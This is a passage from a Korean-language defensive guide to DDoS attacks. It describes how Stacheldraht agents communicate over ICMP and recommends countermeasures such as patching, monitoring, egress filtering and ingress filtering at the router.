DDoS공격에 master나 agent로 이용당한 도메인 기관의 명예는 그야말로 엄청난 먹칠이 된다.
보안이 취약했다는 것은 물론이고 자칫하면 DDoS공격자로도 의심받을지도 모른다.
stacheldraht 프로그램들은 통신을 위해서 ICMP_echo reply패킷을 사용하므로, ICMP패킷 전체를 router에서 막지 않는한 이들의 통신을 차단하는 것은 거의 불가능하다고 할수 있다. (또한 ICMP패킷을 막는다는 것은 인터넷에 연결하지 않는다는 말과 거의 같은 얘기다.)
따라서 ICMP패킷 전체를 막을수 없는 경우에는 ping프로그램을 이용하여 평소의 ICMP ECHO나 ICMP ECHO REPLY패킷과 다른 이상한 점이 있는지는 잘 관찰해 보아야 한다.
이것은 이것은 물론 말처럼 간단하지 않다. 특히 대규모인 네트워크의 경우는 사실상 불가능한 이론적인 방법에 불과할 것이다.
결국 이용당하지 않기 위한 사실상 유일한 방법은 해킹당하지 않는 것 뿐이다.
또한 해킹당하더라도 주기적인 점검과 모니터링을 통하여 침입자가 심어놓은 불법적인 프로그램들을 제거하는 것만이 유일한 대책이다. 또, 네트워크 스캔 도구나 모니터링 도구를
이용하여 자신의 네트워크 내에 공격 데몬이나 마스터가 깔려져 있는지 탐지할 수 있다.
DDoS공격용 프로그램이 설치된 대부분의 시스템들은 보안이 허술한 경우가 많은데, 운영체제나 응용프로그램의 주기적인 패치를 비롯한 기본적인 보안관리에 신경을 써야만 한다. 특히, Linux 시스템의 amd 유틸리티, mountd 데몬, 그리고 솔라리스 시스템의 RPC 서비스 취약점으로 인해 많은 공격을 받고 있으므로 이들에 대한 패치에 주의하여야만 한다.
마지막으로, 자신의 네트워크에서 소스 IP주소가 위장되어서 나가는 패킷을 막는다.(egress 필터링)
대부분의 서비스거부공격은 소스 IP를 위장하여 공격하므로 라우터나 침입차단시스템에서
위장된 주소를 가진 패킷을 차단한다.
VI. DDoS공격에 대한 대비책
1. 라우터에서의 공격주소에 의한 차단
대규모 데이터를 보내는 DDoS 공격을 막기 위해서는 네트워크 차원에서의 접근통제가 필요하다.
공격 주소로부터의 모든 패킷을 차단해야 하나, DDOS 공격의 특성상 공격자 주소는 하나가 아닌 수십 수백개가 될 수도 있으며 위장된 주소일 가능성도 있고, 공격이 시작된후에 네트웍 이상을 사람이 인지하는데는 얼마 시간이 걸리지 않기 때문에 주소단위로 차단하는 것은 쉽지 않다.
2. 라우터의 ingress 필터링 기능
ingress는 외부 인터넷으로부터 들어오는 packet을 의미하며, egress는 내부네트웍에서 외부로 나가는 패킷을 말한다.
ingress 필터링이란 지정한 IP(도메인)로부터의 패킷만이 라우터를 통과하게끔 패킷 필터링을 하는 것
관련자료
-
이전
-
다음
